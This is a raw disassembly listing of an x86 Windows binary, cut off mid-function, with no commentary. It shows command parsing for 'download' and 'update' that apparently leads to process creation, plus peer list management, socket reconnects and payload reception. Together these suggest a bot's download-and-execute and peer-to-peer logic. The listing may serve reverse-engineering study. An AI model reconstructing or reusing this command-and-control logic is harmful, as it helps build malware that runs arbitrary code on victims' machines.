		push	[ebp+var_10]
		call	sub_40CE59
		cmp	[edi+74h], eax
		pop	ecx
		mov	[ebp+var_24], eax
		jge	loc_40411F
		cmp	esi, ebx
		jbe	loc_404110
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], esi


loc_404033:				; CODE XREF: sub_403ED0+237j
		mov	ecx, [ebp+var_1C]
		push	offset asc_41BC28 ; " "
		call	sub_40DD00
		mov	esi, eax
		cmp	dword ptr [esi+4], 2
		mov	[ebp+var_C], esi
		jz	short loc_404058
		lea	ecx, [ebp+var_C]
		call	sub_4022A0
		jmp	loc_404100
; ---------------------------------------------------------------------------


loc_404058:				; CODE XREF: sub_403ED0+179j
		mov	edi, [esi]
		push	offset aDownload ; "download"
		push	dword ptr [edi]
		call	sub_40CD44
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40407E
		push	offset aUpdate	; "update"
		push	dword ptr [edi]
		call	sub_40CD44
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4040F5


loc_40407E:				; CODE XREF: sub_403ED0+19Aj
		lea	ecx, [ebp+arg_0]
		call	sub_40DB48
		mov	eax, [esi]
		lea	ecx, [ebp+arg_0]
		add	eax, 4
		push	ecx
		push	dword ptr [eax]
		call	sub_4038BB
		test	al, al
		pop	ecx
		pop	ecx
		jz	short loc_4040ED
		push	40h
		lea	eax, [ebp+var_7C]
		push	ebx
		push	eax
		mov	[ebp+var_80], 44h
		call	sub_40CCD9
		add	esp, 0Ch
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_418124
		test	eax, eax
		setnz	al
		cmp	al, bl
		jz	short loc_4040ED
		push	offset aUpdate	; "update"
		push	dword ptr [edi]
		call	sub_40CD44
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4040ED
		mov	ecx, [ebp+var_18]
		call	sub_40389D


loc_4040ED:				; CODE XREF: sub_403ED0+1CAj
					; sub_403ED0+201j ...
		lea	ecx, [ebp+arg_0]
		call	sub_40DB59


loc_4040F5:				; CODE XREF: sub_403ED0+1ACj
		lea	ecx, [ebp+var_C]
		call	sub_4022A0
		mov	edi, [ebp+var_18]


loc_404100:				; CODE XREF: sub_403ED0+183j
		add	[ebp+var_1C], 4
		dec	[ebp+var_20]
		jnz	loc_404033
		mov	eax, [ebp+var_24]


loc_404110:				; CODE XREF: sub_403ED0+154j
		push	eax
		lea	ecx, [edi+84h]
		mov	[edi+74h], eax
		call	sub_403115


loc_40411F:				; CODE XREF: sub_403ED0+11Bj
					; sub_403ED0+12Cj ...
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_1], 1
		call	sub_401F85


loc_40412B:				; CODE XREF: sub_403ED0+C7j
		lea	ecx, [ebp+var_10]
		call	sub_40DB59


loc_404133:				; CODE XREF: sub_403ED0+A8j
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_14]
		call	sub_40DB59
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_403ED0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40414D	proc near		; CODE XREF: sub_4045DD+6Dp
					; sub_4045DD+109p ...

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi], eax
		mov	ax, [esp+4+arg_4]
		mov	[esi+4], ax
		call	ds:dword_4180CC
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		mov	eax, esi
		pop	esi
		retn	8
sub_40414D	endp


; =============== S U B	R O U T	I N E =======================================



sub_404172	proc near		; CODE XREF: sub_40444C+Ep
					; sub_4049A1+AEp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		jmp	short loc_404187
; ---------------------------------------------------------------------------


loc_40417C:				; CODE XREF: sub_404172+18j
		push	3E8h
		call	ds:dword_4180C8


loc_404187:				; CODE XREF: sub_404172+8j
		cmp	[esi+8], edi
		jg	short loc_40417C
		pop	edi
		pop	esi
		retn	4
sub_404172	endp


; =============== S U B	R O U T	I N E =======================================



sub_404191	proc near		; CODE XREF: sub_403389+124p
					; sub_403389+145p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		test	ecx, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		jz	short loc_4041A9
		cmp	edi, ecx
		jz	short loc_4041A9
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]


loc_4041A9:				; CODE XREF: sub_404191+Cj
					; sub_404191+10j
		mov	[esi], edi
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_404191	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041B2	proc near		; CODE XREF: sub_40444C+34p
					; sub_40444C+60p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	ebx, ecx
		push	edi
		lea	eax, [ebx+4]
		push	eax
		call	ds:dword_4180E8
		mov	eax, [esp+10h+arg_0]
		mov	ebp, [eax]
		mov	edi, [eax+8]
		mov	esi, [eax+4]
		push	eax
		call	sub_40D0B6
		test	esi, esi
		pop	ecx
		jz	short loc_4041DC
		mov	[esi+8], edi


loc_4041DC:				; CODE XREF: sub_4041B2+25j
		test	edi, edi
		jz	short loc_4041E5
		mov	[edi+4], esi
		jmp	short loc_4041E7
; ---------------------------------------------------------------------------


loc_4041E5:				; CODE XREF: sub_4041B2+2Cj
		mov	[ebx], esi


loc_4041E7:				; CODE XREF: sub_4041B2+31j
		pop	edi
		pop	esi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn	4
sub_4041B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041F0	proc near		; CODE XREF: sub_404205+Ap
					; sub_4045DD+40p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	46F1D93Eh
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_405E2D
		retn	8
sub_4041F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404205	proc near		; CODE XREF: sub_404552+Bp
					; sub_406BE5+9Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4041F0
		mov	esi, eax
		test	esi, esi
		jz	short loc_404231
		mov	eax, [esi]
		push	0
		push	1
		lea	ecx, [ebp+arg_4+3]
		push	ecx
		mov	ecx, esi
		mov	byte ptr [ebp+arg_4+3],	4Bh
		call	dword ptr [eax+8]
		mov	eax, esi
		jmp	short loc_404233
; ---------------------------------------------------------------------------


loc_404231:				; CODE XREF: sub_404205+13j
		xor	eax, eax


loc_404233:				; CODE XREF: sub_404205+2Aj
		pop	esi
		pop	ebp
		retn	8
sub_404205	endp


; =============== S U B	R O U T	I N E =======================================



sub_404238	proc near		; CODE XREF: sub_404552+17p
					; sub_4045DD+8Bp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+54h]
		push	edi
		call	ds:dword_4180DC
		lea	ecx, [esi+6Ch]
		xor	ebx, ebx
		cmp	[ecx], ebx
		jnz	short loc_40425B
		push	[esp+0Ch+arg_0]
		call	sub_404191
		mov	bl, 1


loc_40425B:				; CODE XREF: sub_404238+16j
		push	edi
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		retn	4
sub_404238	endp


; =============== S U B	R O U T	I N E =======================================



sub_40426A	proc near		; CODE XREF: sub_40488C+37p
					; sub_405675+241p ...
		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+54h]
		push	edi
		call	ds:dword_4180DC
		push	0
		lea	ecx, [esi+6Ch]
		call	sub_404191
		push	edi
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		retn
sub_40426A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40428C	proc near		; CODE XREF: sub_4049A1+9p
					; sub_4049A1+DCp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+54h]
		push	edi
		call	ds:dword_4180DC
		cmp	dword ptr [esi+6Ch], 0
		push	edi
		setnz	bl
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		retn
sub_40428C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042AF	proc near		; CODE XREF: sub_404355+4Ap
					; sub_404355+5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		mov	ecx, [ebp+arg_C]
		test	ecx, ecx
		jnz	short loc_4042EF
		push	edi
		lea	edi, [esi+54h]
		push	edi
		call	ds:dword_4180DC
		mov	ecx, [esi+6Ch]
		test	ecx, ecx
		jnz	short loc_4042D3
		or	esi, 0FFFFFFFFh
		jmp	short loc_4042E3
; ---------------------------------------------------------------------------


loc_4042D3:				; CODE XREF: sub_4042AF+1Dj
		push	[ebp+arg_8]
		mov	eax, [ecx]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+8]
		mov	esi, eax


loc_4042E3:				; CODE XREF: sub_4042AF+22j
		push	edi
		call	ds:dword_4180E0
		mov	eax, esi
		pop	edi
		jmp	short loc_4042FD
; ---------------------------------------------------------------------------


loc_4042EF:				; CODE XREF: sub_4042AF+Bj
		push	[ebp+arg_8]
		mov	eax, [ecx]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+8]


loc_4042FD:				; CODE XREF: sub_4042AF+3Ej
		pop	esi
		pop	ebp
		retn	10h
sub_4042AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404302	proc near		; CODE XREF: sub_4047AC+21p
					; sub_4047AC+5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		mov	ecx, [ebp+arg_C]
		test	ecx, ecx
		jnz	short loc_404342
		push	edi
		lea	edi, [esi+54h]
		push	edi
		call	ds:dword_4180DC
		mov	ecx, [esi+6Ch]
		test	ecx, ecx
		jnz	short loc_404326
		or	esi, 0FFFFFFFFh
		jmp	short loc_404336
; ---------------------------------------------------------------------------


loc_404326:				; CODE XREF: sub_404302+1Dj
		push	[ebp+arg_8]
		mov	eax, [ecx]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+4]
		mov	esi, eax


loc_404336:				; CODE XREF: sub_404302+22j
		push	edi
		call	ds:dword_4180E0
		mov	eax, esi
		pop	edi
		jmp	short loc_404350
; ---------------------------------------------------------------------------


loc_404342:				; CODE XREF: sub_404302+Bj
		push	[ebp+arg_8]
		mov	eax, [ecx]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+4]


loc_404350:				; CODE XREF: sub_404302+3Ej
		pop	esi
		pop	ebp
		retn	10h
sub_404302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404355	proc near		; CODE XREF: sub_40488C+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	edi, ecx
		call	sub_40E38C
		push	eax
		mov	[ebp+var_4], eax
		call	sub_40D0BB
		push	9
		push	[ebp+arg_4]
		mov	esi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_40E306
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4043B6
		push	[ebp+arg_8]
		lea	eax, [ebp+arg_4]
		push	eax
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		mov	[ebp+arg_4], 1Eh
		call	sub_4042AF
		push	[ebp+arg_8]
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+var_4]
		mov	ecx, edi
		push	esi
		call	sub_4042AF


loc_4043B6:				; CODE XREF: sub_404355+32j
		test	esi, esi
		jz	short loc_4043C1
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_4043C1:				; CODE XREF: sub_404355+63j
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_404355	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043C7	proc near		; CODE XREF: sub_4047AC+A1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	4
		push	dword ptr [eax]
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40CCF7
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_4181B0
		cmp	eax, 7D000h
		jbe	short loc_4043EF
		xor	eax, eax


loc_4043EF:				; CODE XREF: sub_4043C7+24j
		pop	ebp
		retn	4
sub_4043C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043F3	proc near		; CODE XREF: sub_4049A1+C1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	8
		mov	esi, ecx
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax+4], ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		xor	ecx, ecx
		push	ecx
		push	eax
		push	offset sub_4151FE
		push	ecx
		push	ecx
		mov	[eax], esi
		call	ds:dword_4180BC
		push	eax
		call	ds:dword_4180A4
		mov	eax, [ebp+var_4]
		pop	esi
		leave
		retn	4
sub_4043F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40442E	proc near		; CODE XREF: sub_4049A1+102p
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_404449
		mov	ecx, edi
		call	sub_409C66
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_404449:				; CODE XREF: sub_40442E+8j
		pop	edi
		pop	esi
		retn
sub_40442E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40444C	proc near		; CODE XREF: sub_403DAE+2Dj
					; sub_4045C1+3p
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ecx
		push	0
		mov	dword ptr [edi], offset	off_41BD3C
		call	sub_404172
		lea	ebp, [edi+1Ch]
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_40448B


loc_404469:				; CODE XREF: sub_40444C+3Dj
		test	esi, esi
		jz	short loc_404471
		mov	eax, [esi]
		jmp	short loc_404473
; ---------------------------------------------------------------------------


loc_404471:				; CODE XREF: sub_40444C+1Fj
		xor	eax, eax


loc_404473:				; CODE XREF: sub_40444C+23j
		push	eax
		call	sub_40D0B6
		mov	ebx, [esi+4]
		pop	ecx
		push	esi
		mov	ecx, ebp
		call	sub_4041B2
		test	ebx, ebx
		mov	esi, ebx
		jnz	short loc_404469


loc_40448B:				; CODE XREF: sub_40444C+1Bj
		lea	ebp, [edi+24h]
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_4044B7


loc_404495:				; CODE XREF: sub_40444C+69j
		test	esi, esi
		jz	short loc_40449D
		mov	eax, [esi]
		jmp	short loc_40449F
; ---------------------------------------------------------------------------


loc_40449D:				; CODE XREF: sub_40444C+4Bj
		xor	eax, eax


loc_40449F:				; CODE XREF: sub_40444C+4Fj
		push	eax
		call	sub_40D0B6
		mov	ebx, [esi+4]
		pop	ecx
		push	esi
		mov	ecx, ebp
		call	sub_4041B2
		test	ebx, ebx
		mov	esi, ebx
		jnz	short loc_404495


loc_4044B7:				; CODE XREF: sub_40444C+47j
		lea	ecx, [edi+6Ch]
		call	sub_401205
		mov	esi, ds:dword_4180D8
		lea	eax, [edi+54h]
		push	eax
		call	esi
		lea	eax, [edi+3Ch]
		push	eax
		call	esi
		mov	ecx, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		jmp	sub_4059C7
sub_40444C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044DC	proc near		; CODE XREF: sub_4045DD+2Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	ds:dword_4180CC
		mov	ebx, eax
		lea	eax, [esi+3Ch]
		push	eax
		mov	[ebp+var_4], eax
		call	ds:dword_4180DC
		lea	edi, [esi+24h]
		mov	esi, [edi]
		jmp	short loc_40451A
; ---------------------------------------------------------------------------


loc_404501:				; CODE XREF: sub_4044DC+40j
		mov	eax, [esi]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax]
		jnz	short loc_404513
		movzx	ecx, word ptr [eax+4]
		cmp	[ebp+arg_4], ecx
		jz	short loc_404520


loc_404513:				; CODE XREF: sub_4044DC+2Cj
		test	esi, esi
		jz	short loc_40453A
		mov	esi, [esi+4]


loc_40451A:				; CODE XREF: sub_4044DC+23j
		test	esi, esi
		jnz	short loc_404501
		jmp	short loc_40453A
; ---------------------------------------------------------------------------


loc_404520:				; CODE XREF: sub_4044DC+35j
		sub	ebx, [eax+8]
		cmp	ebx, 0DBBA0h
		jbe	short loc_40454E
		push	eax
		call	sub_40D0B6
		pop	ecx
		push	esi
		mov	ecx, edi
		call	sub_4041B2


loc_40453A:				; CODE XREF: sub_4044DC+39j
					; sub_4044DC+42j
		xor	bl, bl


loc_40453C:				; CODE XREF: sub_4044DC+74j
		push	[ebp+var_4]
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_40454E:				; CODE XREF: sub_4044DC+4Dj
		mov	bl, 1
		jmp	short loc_40453C
sub_4044DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_404552	proc near		; CODE XREF: sub_40471F+43p
					; sub_4062A6+4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		call	sub_404205
		test	eax, eax
		jz	short loc_404570
		push	eax
		mov	ecx, esi
		call	sub_404238
		jmp	short loc_404572
; ---------------------------------------------------------------------------


loc_404570:				; CODE XREF: sub_404552+12j
		xor	al, al


loc_404572:				; CODE XREF: sub_404552+1Cj
		pop	esi
		retn	8
sub_404552	endp


; =============== S U B	R O U T	I N E =======================================



sub_404576	proc near		; CODE XREF: sub_4047AC+47p
					; sub_4047AC+B4p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		push	edi
		jz	short loc_404584
		call	sub_401F70


loc_404584:				; CODE XREF: sub_404576+7j
		mov	edi, [esp+8+arg_0]
		push	1
		push	edi
		call	sub_40CA2C
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jz	short loc_40459B
		mov	[esi+4], edi


loc_40459B:				; CODE XREF: sub_404576+20j
		pop	edi
		pop	esi
		retn	4
sub_404576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045A0	proc near		; CODE XREF: sub_4047AC+7Bp
					; sub_406BE5+E2p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401F70
		mov	eax, [esp+4+arg_0]
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		and	dword ptr [eax], 0
		and	dword ptr [eax+4], 0
		pop	esi
		retn	4
sub_4045A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045C1	proc near		; DATA XREF: .rdata:off_41BD3Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40444C
		test	[esp+4+arg_0], 1
		jz	short loc_4045D7
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_4045D7:				; CODE XREF: sub_4045C1+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4045C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045DD	proc near		; DATA XREF: sub_404949+47o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_0]
		mov	esi, ecx
		call	sub_405AA1
		test	al, al
		jz	loc_404700
		push	[ebp+var_8]
		mov	ecx, esi
		push	[ebp+var_C]
		call	sub_4044DC
		test	al, al
		jnz	loc_404700
		push	edi
		push	[ebp+var_8]
		mov	ecx, esi
		push	[ebp+var_C]
		call	sub_4041F0
		mov	edi, eax
		test	edi, edi
		jz	loc_4046C8
		lea	ebx, [esi+3Ch]
		push	ebx
		call	ds:dword_4180DC
		push	10h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_404651
		push	[ebp+var_8]
		mov	ecx, eax
		push	[ebp+var_C]
		call	sub_40414D
		jmp	short loc_404653
; ---------------------------------------------------------------------------


loc_404651:				; CODE XREF: sub_4045DD+63j
		xor	eax, eax


loc_404653:				; CODE XREF: sub_4045DD+72j
		push	eax
		lea	ecx, [esi+1Ch]
		call	sub_4151CB
		push	ebx
		mov	ebx, ds:dword_4180E0
		call	ebx
		push	edi
		mov	ecx, esi
		call	sub_404238
		test	al, al
		jz	short loc_4046A1
		mov	eax, [edi]
		push	0
		push	1
		lea	ecx, [ebp+var_1]
		push	ecx
		mov	ecx, edi
		mov	[ebp+var_1], 4Bh
		call	dword ptr [eax+8]
		lea	edi, [esi+3Ch]
		push	edi
		call	ds:dword_4180DC
		mov	eax, [ebp+var_C]
		mov	[esi+2Ch], eax
		mov	ax, word ptr [ebp+var_8]
		push	edi
		mov	[esi+30h], ax
		call	ebx
		jmp	short loc_4046FF
; ---------------------------------------------------------------------------


loc_4046A1:				; CODE XREF: sub_4045DD+92j
		call	sub_40CF34
		push	30h
		pop	ecx
		cdq
		idiv	ecx
		mov	eax, [edi]
		push	0
		push	1
		lea	ecx, [ebp+var_1]
		push	ecx
		mov	ecx, edi
		mov	[ebp+var_1], dl
		call	dword ptr [eax+8]
		mov	eax, [edi]
		push	1
		mov	ecx, edi
		call	dword ptr [eax]
		jmp	short loc_4046FF
; ---------------------------------------------------------------------------


loc_4046C8:				; CODE XREF: sub_4045DD+49j
		lea	edi, [esi+3Ch]
		push	edi
		call	ds:dword_4180DC
		push	10h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_4046ED
		push	[ebp+var_8]
		mov	ecx, eax
		push	[ebp+var_C]
		call	sub_40414D
		jmp	short loc_4046EF
; ---------------------------------------------------------------------------


loc_4046ED:				; CODE XREF: sub_4045DD+FFj
		xor	eax, eax


loc_4046EF:				; CODE XREF: sub_4045DD+10Ej
		push	eax
		lea	ecx, [esi+24h]
		call	sub_4151CB
		push	edi
		call	ds:dword_4180E0


loc_4046FF:				; CODE XREF: sub_4045DD+C2j
					; sub_4045DD+E9j
		pop	edi


loc_404700:				; CODE XREF: sub_4045DD+1Cj
					; sub_4045DD+31j
		cmp	[ebp+arg_0], 0
		jz	short loc_40470F
		push	[ebp+arg_0]
		call	sub_40D0B6
		pop	ecx


loc_40470F:				; CODE XREF: sub_4045DD+127j
		add	esi, 8
		push	esi
		call	ds:dword_4180E8
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4045DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40471F	proc near		; CODE XREF: sub_4049A1+1Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		call	ds:dword_4180CC
		mov	[ebp+var_4], eax
		lea	eax, [ebx+3Ch]
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_4180DC
		mov	edi, [ebx+1Ch]
		test	edi, edi
		jz	short loc_404790


loc_404746:				; CODE XREF: sub_40471F+6Fj
		test	edi, edi
		jz	short loc_40474E
		mov	esi, [edi]
		jmp	short loc_404750
; ---------------------------------------------------------------------------


loc_40474E:				; CODE XREF: sub_40471F+29j
		xor	esi, esi


loc_404750:				; CODE XREF: sub_40471F+2Dj
		inc	dword ptr [esi+0Ch]
		cmp	dword ptr [esi+0Ch], 2
		jnb	short loc_40476B
		movzx	eax, word ptr [esi+4]
		push	eax
		push	dword ptr [esi]
		mov	ecx, ebx
		call	sub_404552
		test	al, al
		jnz	short loc_404794


loc_40476B:				; CODE XREF: sub_40471F+38j
		mov	eax, [ebp+var_4]
		and	dword ptr [esi+0Ch], 0
		push	esi
		lea	ecx, [ebx+24h]
		mov	[esi+8], eax
		call	sub_4151CB
		mov	esi, [edi+4]
		push	edi
		lea	ecx, [ebx+1Ch]
		call	sub_4041B2
		test	esi, esi
		mov	edi, esi
		jnz	short loc_404746


loc_404790:				; CODE XREF: sub_40471F+25j
		xor	bl, bl
		jmp	short loc_40479C
; ---------------------------------------------------------------------------


loc_404794:				; CODE XREF: sub_40471F+4Aj
		mov	eax, [ebp+var_4]
		mov	[esi+8], eax
		mov	bl, 1


loc_40479C:				; CODE XREF: sub_40471F+73j
		push	[ebp+var_8]
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn
sub_40471F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4047AC	proc near		; CODE XREF: sub_40488C+2Ap

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_C]
		push	eax
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		mov	edi, ecx
		mov	[ebp+var_1], 0
		mov	[ebp+var_C], 1E0h
		call	sub_404302
		cmp	eax, 4
		jnz	short loc_40483F
		mov	eax, [ebp+var_8]
		lea	ecx, [eax-1]
		cmp	ecx, 7CFFEh
		ja	short loc_40483F
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	esi
		inc	eax
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_404576
		push	[ebp+arg_4]
		mov	esi, [ebp+var_14]
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_8]
		mov	ecx, edi
		push	esi
		call	sub_404302
		cmp	eax, [ebp+var_8]
		jnz	short loc_404833
		xor	eax, eax


loc_404814:				; CODE XREF: sub_4047AC+72j
		cmp	byte ptr [esi+eax], 0
		jz	short loc_404847
		inc	eax
		cmp	eax, 4
		jl	short loc_404814
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4045A0
		mov	esi, [ebp+var_14]


loc_40482F:				; CODE XREF: sub_4047AC+D5j
		mov	[ebp+var_1], 1


loc_404833:				; CODE XREF: sub_4047AC+64j
					; sub_4047AC+ABj ...
		test	esi, esi
		jz	short loc_40483E
		push	esi
		call	sub_40CCC5
		pop	ecx


loc_40483E:				; CODE XREF: sub_4047AC+89j
		pop	esi


loc_40483F:				; CODE XREF: sub_4047AC+29j
					; sub_4047AC+37j
		mov	al, [ebp+var_1]
		pop	edi
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_404847:				; CODE XREF: sub_4047AC+6Cj
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, edi
		call	sub_4043C7
		test	eax, eax
		mov	[ebp+arg_4], eax
		jbe	short loc_404833
		mov	edi, [ebp+arg_0]
		inc	eax
		push	eax
		mov	ecx, edi
		call	sub_404576
		mov	ecx, [ebp+var_8]
		mov	eax, [edi]
		add	ecx, 0FFFFFFFCh
		push	ecx
		lea	ecx, [esi+4]
		push	ecx
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	eax
		call	sub_412FA4
		add	esp, 10h
		test	eax, eax
		jz	short loc_40482F
		mov	ecx, edi
		call	sub_401F70
		jmp	short loc_404833
sub_4047AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40488C	proc near		; CODE XREF: sub_4048D8+23p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+54h]
		push	edi
		call	ds:dword_4180DC
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404355
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+arg_8]
		call	sub_4047AC
		mov	bl, al
		test	bl, bl
		jnz	short loc_4048C8
		mov	ecx, esi
		call	sub_40426A


loc_4048C8:				; CODE XREF: sub_40488C+33j
		push	edi
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		pop	ebp
		retn	10h
sub_40488C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4048D8	proc near		; CODE XREF: sub_404905+17p
					; sub_4064AA+86p ...

arg_0		= dword	ptr  4
